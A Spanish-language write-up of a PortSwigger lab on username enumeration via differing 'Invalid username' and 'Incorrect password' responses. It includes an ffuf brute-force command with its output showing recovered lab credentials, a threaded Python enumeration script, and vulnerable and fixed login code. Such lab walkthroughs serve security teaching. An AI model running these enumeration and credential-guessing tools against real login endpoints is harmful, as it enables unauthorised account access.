Username Enumeration via Different Responses — PortSwigger Lab
Enumeración de usuarios abusando de la discrepancia entre las respuestas 'Invalid username' e 'Incorrect password' del endpoint POST /login.
Username Enumeration via Different Responses
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Media |
| Endpoint vulnerable | POST /login |
| Root cause | Respuestas de error diferenciadas según exista o no el usuario, creando un oráculo de enumeración |
El endpoint POST /login responde Invalid username cuando el usuario no existe y Incorrect password cuando el usuario existe pero la contraseña es incorrecta. Esta discrepancia permite enumerar usuarios válidos sin autenticación.
2. Technical Breakdown & Exploitation Flow
2.1 Enumeración de usuarios con ffuf
Capturar la request de login, sustituir los valores por los marcadores FUZZ y FUZZ2, y guardarla en enum.txt:
POST /login HTTP/2
Host: 0a2400150430da4480d194ae00aa005a.web-security-academy.net
Cookie: session=ONoUjeVS2kHeT52Uyjt4CNtj0GcYgHY1
Content-Type: application/x-www-form-urlencoded
username=FUZZ&password=FUZZ2
Ejecutar ffuf contra dos wordlists, filtrando la respuesta Invalid username:
/go/bin/ffuf -request enum.txt -w users.txt:FUZZ -w pass.txt:FUZZ2 -fr "Invalid username"
Salida relevante:
[Status: 200, Size: 3246, Words: 1323, Lines: 68, Duration: 184ms]
* FUZZ: alterwind
* FUZZ2: 123456
El único candidato cuyo mensaje de error no es Invalid username es alterwind; la misma pasada expone su contraseña (alterwind:123456), ya que la combinación correcta devuelve un 302 Found en lugar del mensaje de error.
2.2 Enumeración de usuarios con Python
Variante multihilo que descarta los usernames cuya respuesta contenga Invalid username:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def fetchUsername(filename):
listUsername = list()
with open(filename) as fd:
for line in fd:
listUsername.append(line.strip())
return listUsername
def sendRequest(url, cookie, username):
loginData = {'username': username, 'password': 'anything'}
loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
if 'Invalid username' not in loginRequestText:
print(f'[+] Found user: {username}')
def main():
url = 'https://0a2400150430da4480d194ae00aa005a.web-security-academy.net/login'
cookie = {'session': 'cuah1NF2bfeU4Lf2xA3ZdCnbMs5OuI4m'}
userFileName = './users.txt'
listUsername = fetchUsername(userFileName)
for username in listUsername:
thread = Thread(target=sendRequest, args=(url, cookie, username))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
3. Root Cause Analysis
El patrón defectuoso es la diferenciación de mensajes de error en la lógica de login:
# Implementación vulnerable
user = db.get_user(request.username)
if user is None:
return "Invalid username" # ❌ Oráculo de existencia de usuario
if not verify_password(user, request.password):
return "Incorrect password" # ❌ Confirma que el usuario existe
create_session(user)
Ambos estados son distinguibles de forma remota y sin autenticación, lo que reduce el espacio de búsqueda de credenciales a un solo paso.
4. Secure Remediation
Respuesta uniforme para ambos fallos, sin revelar la existencia del usuario:
# Implementación segura
user = db.get_user(request.username)
if user is None or not verify_password(user, request.password):
return "Invalid username or password" # Misma respuesta en ambos casos
create_session(user)
El mensaje genérico debe emitirse además con el mismo código de estado, tamaño de body y latencia en ambos casos para eliminar cualquier side-channel adicional.